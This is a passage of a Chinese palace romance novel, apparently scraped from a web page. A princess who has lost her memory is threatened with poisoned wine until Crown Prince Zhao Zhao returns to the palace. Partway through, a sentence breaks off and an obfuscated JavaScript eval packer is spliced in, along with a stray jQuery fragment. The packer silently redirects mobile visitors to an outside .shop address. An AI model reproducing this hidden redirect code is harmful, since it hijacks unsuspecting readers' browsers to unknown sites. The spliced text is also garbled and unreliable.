崇文殿分内外两间,外间书室,内间寝宫,平日里在这里见的除了心腹大臣便是心腹大患了。
此时崇文殿内,熏香袅袅,温暖隔绝了外面的寒风,低低的打了两个喷嚏后,手里被塞进一个暖和的手壶。
“看来东宫上下对你不怎么样。”赵昌看着我单薄的衣衫,撇了撇嘴。
正在这光景,一名熟悉的宫侍走过来,正是日日去东宫见我的邵氏。
她是官家的近身宫侍,只是问我要不要给太子带什么话,可阖宫上下皆知我回宫时失了记忆,不仅仅是太子赵昭,所有人我都忘了干净。
我不知道要和赵昭说些什么,也不知道官家是什么意思。
唯有日日躲在东宫里,谁也不见,企图躲过这一场山雨欲来风满楼的浩劫。
“去吧,官家等得久了。”邵氏给我开门,示意我进去。
内殿书室,宫人皆无,唯有赵昌跟在我身后走进来。
“臣妾周氏拜见官家。”我不敢四处乱看,一进门就把头低下去,跪在地上。
官家沉声开口:“一转眼,你入宫已然月余,可有想起什么事情?”
我抬头,刚要开口,突然觉得心口怪怪的,有些喘不上气。
官家和三殿下分明知道我失忆尚未大好,如今这么问,是何用意?
赵昌上前一步,微微俯下身体:“太子久在燕地,父皇心生担忧,太子妃可明白?”
这厢还在迟疑,赵昌便又道:“来人。”
进门来的是邵氏,暗绿色的宫衣划过我跪地的手,前面放下来一个托盘,里面是一个白色瓷瓶和一张纸一支笔。
今日我若是不能召回昭太子,恐怕也不能善终了。
我要给他带一句什么话?
旧唐的永宁公主与新宋的昭太子结的是秦晋之好,可再怎么好,我也全然不记得。
可如果我没有失忆,宋灭唐,我与他之间岂非是国仇家恨,我不可能盼他回到我身边。
想着,死马当作活马医,提笔写了,递了上去。
官家展开一看,眸色越发阴沉了些,赵昌的脸色也变了变。
官家摆摆手,示意我退下,我便知道自己赌对了。
从崇文殿内出来,赵昌在我身后低声道了一句:“大逆不道。”
国破家亡今何在,此恨绵绵问黄泉。
可失了记忆,我什么都不知道,也做不到任何的感同身受。
我只想活下去。
从镇州到汴京,快马十日便可抵达。
第十日的清晨,宫门仍旧毫无动静,官家命邵氏送来毒酒,我想他是要弃了我这颗引太子回京的棋子。
“我不明白。”
邵氏离去的脚步顿住,回身行礼:“请娘娘吩咐。”
我坐在椅子上,因为害怕,此刻有些头晕:“为什么官家相信太子会因为我的缘故回京,你们早该一早杀了我。”
“娘娘低声些。”邵氏声音平静,安抚着我的癫狂:“唐国覆灭时您还未嫁给殿下,这婚事是殿下上表先皇允诺的。”
“阖宫上下都信太子殿下的真心。”
他求娶一个国破家亡的公主吗?
可先皇暴毙,叔父继位,我若是太子,我也不会回来。
他不会回来的。
我绝望的掩面而泣。
“子时,若是子时前太子未至,请娘娘莫要为难了。”
许是见我可怜,邵氏留下这句话就出了屋子,只吩咐两个黑甲的禁卫守住了房门,让我插翅难飞。
时间过得这样快,天色暗下来,灯亮起来的一瞬间,我感到恐惧。
我不敢询问时辰,可听见宫殿外响起了二更鼓时,我的心还是沉到了谷底。
吱呀一声,屋门打开,是邵氏。
她仍旧穿着规矩的暗绿色宫衣,面上也没什么表情。
“娘娘,宫门就快下钥了。”
她的话无非是告诉我,赵昭不会回来了。
“能不能让我见见官家,再多容几日。”我抓住她的袖子,试图给自己争一个活路:“许是,许是路上耽搁了时间。”
可邵氏不听我的话,门外进来两个宫侍,将我按在地上,其中一个拿起桌上的白瓷瓶,刚打开就要往我的嘴里灌。
我拼命挣扎,但无济于事,我根本撼动不了她们分毫。
然而这绝望的时候,殿门外,由远及近,响起了马蹄声。
我激动地仰起头来,朝外面张望。
近了。
从殿门外奔进来一个人,那人身姿高挑,穿着绛紫宫衣,腰间是一对玉鱼,在宫灯下散着光,步履间又响起鸣玉之音。
我没有之前的记忆,但我知道他就是太子昭,原来被史官都夸赞的昭殿下有这样出众的容色。
紫袍玉带,环佩锵鸣。端方雅正,贵气天成。
此刻在我眼里,他如同天神一样。
我挣开侍女按住我的手,激动地跑过去,紧紧抱住了他,汹涌的泪水在这一刻决堤。
“你终于回来了。”
邵氏伏在地,规矩而温顺:“拜见太子殿下。”
一时间,屋内所有人便都跪到地上去,整个东宫除去我的哭声,死一般的安静。
我在庆宁宫里放声大哭起来,把我这月余的委屈全都悉数哭出来,我不敢松手,生怕下一瞬他就不见了,我还是要喝那杯毒酒。
我不想死。
他抚上我的背,轻轻拍了拍,声音如清泉漱玉,温柔间带了一丝心疼:“阿玉别怕,我回来了。”
我哭得忘我,直哭到子时三刻,哭得累了直接睡倒在赵昭怀里。
第二日清醒过来的时候,看见赵昭伏在床榻边上睡着,剑眉微微蹙起,似睡得很不安稳。
我刚刚一动,他便醒了。
嘴巴里尴尬地说了句:“殿下醒了。”
一扭头正看见自己牢牢攥着他的袖子,锦缎已被攥出深深的褶皱,可见用力。
“阿玉,是我回来晚了,让你害怕了。”
我摇了摇头:“殿下能回来救我,我已然心生感激。”
他轻轻拉我坐下,温和道:“从前你喊我德昭,如今也不必与我生分。”
新宋的皇室自官家这一代开始,为了便于臣民避讳,特地省了中间的字辈,赵昭字辈为德,家里人喊他德昭惯了,久而久之表字伯清倒是没几个人喊。
见我仍旧惊魂未定,他安慰我:“阿玉放宽心,如今东宫里有我在,一切都不会有事的。”
可官家不像是好相与的模样,但我也不知道从何说起。
“好。”
还没等多说上几句话,门外邵氏来请,称官家在崇文殿召太子与太子妃面圣。
我怕得紧紧抓住赵昭的袖口,他却轻轻拍了拍我,容色如常温和平静。
宫侍呈递上太子官服,绛紫色的锦衣上有考究的暗纹刺绣,无一不体现着太子的尊荣和华贵。
绛春给我取来了颜色鲜丽的太子妃宫服,并有配套的一条环佩,打了明黄色的宫绦。
我眼底划过一丝震惊,原来面见官家需要着宫服,那之前面圣穿着常服就去了,官家竟没有降我的罪。
赵昭注意到我的异常,拉了拉我的手指,剑眉微蹙:“怎么了?”
我摇了摇头,将自己的后怕咽回了肚子里。
一切准备妥当之后,赵昭却拉住了我,将我按
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17790307|210361||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
在椅子上,动手为我画上额间的花钿。
淡墨混着冷梅的香缓缓环绕着我,让我的心也安定下来。
“阿玉,好了。”
我睁开眼,正看进他深棕色的眼眸里,那里面流转的是温和的笑意。
入得宫中月余,只有他这样和颜悦色对我,心里涌出一丝依赖,遂紧紧抓住他的手。
赵昭见状,温和地笑了笑,反手将我的手包在掌心里,热度顺着手传进心房里。
我面上放松了些,不再那么紧绷绷的。
“阿玉可有什么要问的?”
我这才注意,赵昭拉着我画花钿,屋内的宫侍都很有眼色的退出了屋子。
此时屋内,仅我二人。
“若你未归,我便要死。那如今,官家召我二人去,是否。”
“嘘。”赵昭伸出一根修长的手指,按住我的嘴唇,温热的触觉让我安静下来:“如今燕地未归,辽国盘踞幽州,此时朝堂绝不能再动荡了,阿玉可明白?”
“可,匹夫无罪怀璧其罪。”
这东宫,是烫手山芋。
赵昭缓缓摇了摇头,只道:“阿玉信我便是,既我已回宫,你便不会有事。”
说着见我如丧考妣的脸色,他温和的笑了笑,伸手掐了掐我的脸。
“好了阿玉,若是这幅脸色去见官家,恐怕马上要拖出去挂在城门楼上了。”
他领着我走出门,嘴巴里笑着打趣我:“我的好阿玉这样的绝色,我得牢牢领着,若是风紧吹到了别人怀里,肯定不会还给我的。”
噗嗤——我破功笑出声。
几句玩笑,这才微微驱散了月余来的阴霾。
去崇文殿的路上正碰见从远处行来的赵昌,他仍旧穿着暗绿缂衣,腰间配着银鱼佩,这种上乘的锦衣华服给他的人更添上几分冷肃无情。
寻常皇子常服仅为普通罗纱,宫里只有赵崇和赵昌兄弟二人得以穿缂丝锦衣,可见官家对这俩皇子的宠爱。
我瞧着他,暗暗腹诽,分明生得一张白皙俊俏的面皮,行事风格却实在乖戾。
看来的路,应是从崇文殿给官家晨省才出来。
可他不打算和我们说话的模样,就从旁走过,我多少有些怕他,拉赵昭的手不由得发紧。
赵昭看了我一眼,右手一伸,拦住了赵昌的去路。
“官家这样教导你,目无礼法?”
赵昌脸色沉下来,但还是乖乖拱手行礼:“拜见太子殿下,拜见太子妃。”
连带我,也生生受了这礼。
可赵昭不发话,他就只能弯着腰,虽然看不见他的表情,但也知道此刻他必然面如锅底灰。
“你记着,孤一日居东宫,便做得这一日的太子。”
赵昌仍低着头,弓着腰:“是臣弟失礼,明日自请父亲训诫。”
我有点不安,拉了拉赵昭的手。
赵昭看了一眼我,眸色渐暖:“太子妃为你求情,下不为例。”
“臣弟多谢太子妃照拂。”
这话听的我一个头两个大,赶忙拉着赵昭便走。
这混世小霸王的感谢,谁敢接!
赵昭由着我拉他往前走,我还是觉得有些不安,回头看赵昌,发现他眸色阴鸷,肯定是方才那番话恼了。
正走了神,手指传来轻轻扯动的触感。
赵昭在我耳边低低地说:“好啦,别看他了,再看下去,我恐怕我的阿玉变了心。”
我闻言,不由得耳根发烫,解释道:“三殿下今年才十四,如何,如何能。”
“哈哈哈。”赵昭唇角溢出几声笑意,他伸手将我揽在他怀里,嘴巴里赔罪着:“阿玉别恼,我不乱说了。”